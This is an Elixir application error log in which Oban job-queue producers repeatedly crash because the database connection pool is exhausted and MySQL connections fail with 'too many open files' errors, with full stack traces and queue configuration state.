    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:18:30.239266Z], limit: 50, uuid: "f3c4a3bf-0803-4e88-937f-19cac6d45abc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:18:30.239272Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.176599>, refresh_timer: #Reference<0.2525715032.1099431938.54961>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:18:42.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 880ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:18:30.240677Z], limit: 10, uuid: "f28862df-25f4-461b-b58b-9a550972d5ed", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:18:30.240682Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.176600>, refresh_timer: #Reference<0.2525715032.1068498948.53390>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:18:42.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1045ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:18:30.238918Z], limit: 5, uuid: "4201fb67-1cfa-4c35-844c-763e6597f57a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:18:30.238924Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.176598>, refresh_timer: #Reference<0.2525715032.1099431938.54957>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:18:45.938000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:18:46.277000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:18:46.424000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:18:46.681000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:18:47.631000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:18:51.844000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:18:52.520000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:18:52.939000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:18:55.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1049ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:18:42.239904Z], limit: 50, uuid: "20e988e5-fc66-4966-936f-324e64fe1dfb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:18:42.239909Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.177045>, refresh_timer: #Reference<0.2525715032.1121189889.177013>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:18:55.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1082ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:18:42.240522Z], limit: 5, uuid: "b9590809-0a8b-4734-ab4e-ffaa9eb6f12b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:18:42.240526Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.177047>, refresh_timer: #Reference<0.2525715032.1099431938.55093>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:18:55.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 878ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:18:42.240097Z], limit: 10, uuid: "73b13db4-3a55-4d1d-90d8-c6395a112120", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:18:42.240103Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.177044>, refresh_timer: #Reference<0.2525715032.1121189889.177023>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:18:55.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 871ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:18:42.239824Z], limit: 5, uuid: "029d8277-c89c-4407-8008-92064d606756", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:18:42.239831Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.177048>, refresh_timer: #Reference<0.2525715032.1099431938.55084>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:18:55.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 805ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:18:42.239828Z], limit: 3, uuid: "5dd7e6b4-b643-4f59-8fff-b9e211a4ca39", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:18:42.239834Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.177046>, refresh_timer: #Reference<0.2525715032.1121189889.177011>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:18:55.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1073ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:18:42.239753Z], limit: 20, uuid: "b3d25e21-cb2d-49b1-bccc-8f2a2ff415be", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:18:42.239760Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.55109>, refresh_timer: #Reference<0.2525715032.1099431938.55081>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:18:57.855000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:19:00.377000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:19:01.323000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:19:02.913000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
